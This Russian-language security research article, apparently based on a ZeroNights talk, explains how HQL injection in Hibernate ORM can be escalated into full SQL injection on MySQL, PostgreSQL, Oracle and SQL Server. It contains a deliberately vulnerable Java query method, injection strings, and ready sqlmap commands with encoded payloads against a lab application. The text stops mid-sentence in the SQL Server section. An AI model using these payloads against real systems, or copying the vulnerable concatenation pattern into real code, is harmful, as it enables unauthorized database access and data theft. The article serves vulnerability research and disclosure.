Эксплуатация инъекций в Hibernate ORM

image
Доклад на эту тему был представлен на конференции ZeroNights 0×05 на секции FastTrack. Работа оказалась очень актуальной и вызвала большой интерес, поскольку в последнее время проблема эксплуатации HQL-инъекций интересовала многих security-исследователей, специализирующихся на веб-безопасности. Поэтому я решил написать статью, которая раскрывает дополнительные детали, позволяющие лучше понять результаты работы.

Современные приложения, написанные на языке Java, как правило, работают с СУБД не напрямую, а используют Java Persistence API (JPA). JPA — это API, который был добавлен в состав платформ Java SE и Java EE, начиная с Java версии 5, для того, чтобы было удобно сохранять Java-объекты в базу данных и извлекать их из базы данных. Существует большое количество ORM-библиотек (ORM — Object-Relational Mapping) для JAVA, которые реализуют спецификацию JPA. На сегодняшний момент последняя версия спецификации 2.1.

Одна из популярных ORM-библиотек — Hibernate ORM. На данный момент Hibernate является проектом RedHat. Cерверы приложений WildFly и JBoss используют Hibernate в качестве ORM.

Hibernate ORM использует объектно-ориентированный язык запросов Hibernate Query Language (HQL) для написания запросов к сущностям Hibernate, которые хранятся в базе данных.

HQL-инъекция


Для передачи параметров в HQL-запрос используются named parameters или positional parameters. Ниже представлен пример передачи параметра в HQL-запрос при помощи named parameters. Параметр name передается в HQL-запрос.

public List getByName_Secure(String name) {
        Query query = em.createQuery("SELECT p FROM Post p where p.name=:name", Post.class);
        query.setParameter("name", name);
        return (List) query.getResultList();
}


Разработчик по незнанию или непониманию может попытаться передать параметр name напрямую в HQL-запрос, используя конкатенацию, вместо использования parameter binding, как показано выше. В этом случае код содержит HQL-инъекцию (HQLi). Ниже приведен пример небезопасного кода.

public List getByName_Insecure(String name) {
        Query query = em.createQuery("SELECT p FROM Post p where p.name='" + name + "'", Post.class);
        return (List) query.getResultList();
}


При эксплуатации HQLi атакующий не сможет прочитать содержимое таблиц, которые отличны от таблицы post, к которой привязан (mapped) класс Post. При обращении в подзапросе к таблице, которая не связана с сущностью, генерируется исключение HibernateQueryException и запрос дальше не обрабатывается.

package hqli.persistent;

import javax.persistence.*;

@Entity
@Table(name = "post")
public class Post {
 …
}


Это серьёзное препятствие при эксплуатации HQLi, если, конечно, entity-класс не связан с таблицей, в которой хранятся данные, используемые приложением для аутентификации или авторизации.

Исследователь @PaulWebSec написал утилиту HQLmap для эксплуатации HQLi. Утилита реализует blind и error-based техники для эксплуатации HQLi, но позволяет извлекать данные только из связанных таблиц.

Еще один исследователь @h3xstream написал статью про техники эксплуатации HQLi. В данной статье рассмотрены базовые техники эксплуатации, которые также не позволяют получить доступ к таблицам БД, которые не связаны с сущностью.

Цель исследования


Главная цель — получить доступ ко всем таблицам базы данных, которые доступны текущему пользователю СУБД.Т. е. найти возможность эксплуатировать HQLi как SQL-инъекцию (SQLi).

Основная задача Hibernate ORM — это преобразовать HQL-запрос в SQL-запрос. Преобразование HQL в SQL происходит в три этапа:

  1. Парсинг HQL-запроса при помощи ANTLR с использованием следующей грамматики. Результатом парсинга является HQL-AST (AST — Abstract syntax tree).
  2. Преобразование HQL-AST в SQL-AST. Как раз на этом этапе проверяется, что HQL-запрос обращается только к связанным таблицам.
  3. Преобразование SQL-AST в SQL-запрос, который будет отправлен в СУБД.


Можно переформулировать цель следующим образом — нам нужно найти HQL-подзапрос, который позволит всему HQL-запросу пройти этапы преобразования 1 и 2, и, самое главное, позволит на 3 этапе получить доступ к таблице, которая не связана с сущностью. Хочется найти HQL-подзапросы, обладающие указанным свойством, для популярных реляционных СУБД: MySQL, Postgresql, Oracle и Microsoft SQL Server.

Методы исследования


Первым делом было написано уязвимое приложение, которое использовалось для опытов, оно доступно здесь. Приложение принимает URL-параметр, который поступает в качестве аргумента в уязвимую функцию getByName_Insecure.

Данное приложение было развернуто на сервере приложений WildFly. Для сервера приложений были установлены JDBC-драйверы для следующих СУБД: MySQL, Postgresql, Oracle и Microsoft SQL Server. При помощи задания свойств Datasource с именем HQLiDS, приложение подключалось к разным СУБД.

Был настроен уровень логирования Hibernate со значением Debug для того, чтобы в логи сервера приложений записывались HQL и соответствующий ему SQL запросы.

Были изучены особенности грамматики HQL и особенности преобразования HQL-AST в SQL-AST. Эти особенности позволили для каждой из СУБД найти техники эксплуатации.

Эксплуатация HQLi в MySQL


Техника эксплуатации основана на том, что в Hibernate и MySQL по-разному происходит экскейпинг кавычки в строках. Для того, чтобы использовать кавычку в строке в Hibernate, нужно ее удвоить. Для того, чтобы использовать кавычку в строке в MySQL, нужно ее экранировать символом слэш.

# Hibernate
'String with '' symbol'

# MySQL
'String with \' symbol'


Что будет, если в строке мы передадим \'' (слэш и затем две кавычки)? Т.е. если в качестве параметра name мы передадим уязвимому методу getByName_Insecure следующее значение.

dummy\'' or 1


Hibernate увидит строку, т.к. слэш — обычный символ для Hibernate и двойная кавычка — это экранированная кавычка. Таким образом, результирующим HQL-запрос пройдет этапы преобразования 1 и 2. Напротив, MySQL увидит экранированную кавычку \' и неэкранированную кавычку, которая терминирует строку и остальная часть значения параметра or 1 будет воспринята СУБД как SQL-выражение.

HQL-инъекцию в этом случае можно эксплуатировать, используя утилиту sqlmap следующим образом.

sqlmap -u "http://192.168.66.10:8080/app/dummy%5C%27%27%20or%201%3Clength%28%28select%20version%28%29%20from%20dual%20where%201=1*%29%29%20--%20" --dbms="MySQL" --technique B -b -v 0


Данная техника была показана на конференции SYNACTIV исследователем @_unread_ до нашего выступления на ZeroNights. Вот ссылка на презентацию.

Эксплуатация HQLi в Postgresql


Для СУБД Postgresql трюк с кавычками не работает, т.к. Postgresql экранирует кавычки таким же образом, как и Hibernate.

Hibernate позволяет вызывать любые функции СУБД и передавать данным функциям произвольные идентификаторы в качестве параметров. В Postgresql есть полезная функция query_to_xml('select 1',…), которая позволяет выполнить произвольный SQL-запрос, который передается ей в качестве первого параметра. Функция возвращает XML-объект. Для того, чтобы использовать query_to_xml для эксплуатации, нужно ее дополнительно обернуть в вызовы функций array_upper и xpath. Если SQL-запрос, переданный в query_to_xml, вернет одну или более строк, то данная конструкцию вернет значение 1.

array_upper(xpath('row',query_to_xml('SQL', true, false,'')),1)


Запрос select 1 where 1337>1 возвращает одну строку, поэтому выражение возвращает значение 1.

postgres=# select array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1);
 array_upper 
-------------
           1
(1 row)


Запрос select 1 where 1337<1 возвращает ноль строк, поэтому выражение не возвращает значение 1.

postgres=# select array_upper(xpath('row',query_to_xml('select 1 where 1337<1', true, false,'')),1);
 array_upper 
-------------
            
(1 row)


В конечном итоге мы можем эксплуатировать HQLi с помощью sqlmap следующим образом.

sqlmap -u "http://hqli.playground.local:8080/hqli.playground/dummy%27%20and%20array_upper%28xpath%28%27row%27%2Cquery_to_xml%28%27select%201%20where%201337%3E1*%27%2Ctrue%2Cfalse%2C%27%27%29%29%2C1%29%3D1%20and%20%271%27%3D%271" --dbms="PostgreSQL" --technique B -b -v 0


Видео, которое показывает эксплуатацию HQLi для СУБД Postgresql, доступно здесь.

Эксплуатация HQLi в Oracle


Для Oracle эксплуатация HQLi аналогична её эксплуатации в Postgresql. В Oracle функция DBMS_XMLGEN.getxml('SQL') позволяет выполнить любой SQL-запрос и возвращает CLOB. Для того, чтобы использовать функцию DBMS_XMLGEN.getxml для эксплуатации, необходимо ее обернуть вызовами функций NVL и TO_CHAR. Если SQL-запрос, переданный в DBMS_XMLGEN.getxml вернет ноль строк, то следующая конструкцию вернет значение '1'.

NVL(TO_CHAR(DBMS_XMLGEN.getxml('SQL')),'1')


С использованием sqlmap эксплуатации HQLi в СУБД Oracle выглядит следующим образом.

sqlmap -u "http://hqli.playground.local:8080/hqli.playground/dummy%27%20and%20NVL(TO_CHAR(DBMS_XMLGEN.getxml(%27select%201%20from%20dual%20where%201337>1*%27)),%271%27)!= %271%27%20and%20%271%27=%271" --dbms="Oracle" --technique B -b -v 0


Эксплуатация HQLi в Microsoft SQL Server


Для СУБД Microsoft SQL Server трюк с кавычками не работает. Функции наподобие query_to_xml и DBMS_XMLGEN.getxml отсутствуют в СУБД.

В данном случае эксплуатация HQLi основана на том, что Hibernate разрешает использовать Unicode-символы в именах функций и именах параметров, которые передаются в функцию. В то же время СУБД SQL Server допускает использование Unicode-символов наподобие No-break spacе (U+00A0) или Ideographic space (U+3000) в качестве пробелов. Таким образом, следующие два запроса валидны и эквивалентны в SQL Server.

select top1 uname from postusers
select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers


Таким образом, если в качестве параметра в уязвимый метод мы передадим следующее значение.

dummy' or 1